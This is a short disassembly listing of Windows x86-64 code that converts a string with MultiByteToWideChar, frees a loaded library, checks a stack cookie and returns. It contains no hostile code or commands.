mov r8, r14
xor edx, edx
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
je 0x140020f4f
mov ecx, eax
mov rax, qword [rsp + 0x60]
mov word [rax + rcx*2], bx
mov r8d, dword [rsp + 0x4c0]
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x48]
call fcn.140020d34
mov ebx, eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
lea rax, [rsp + 0x68]
cmp qword [rsp + 0x60], rax
je 0x14002108e
lea rcx, [rsp + 0x60]
call fcn.14001f61c
nop
mov eax, ebx
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.140220ed0
mov rbx, qword [rsp + 0x4a0]
add rsp, 0x480
pop r14
pop rdi
pop rsi
ret
call fcn.14002010c
nop
int3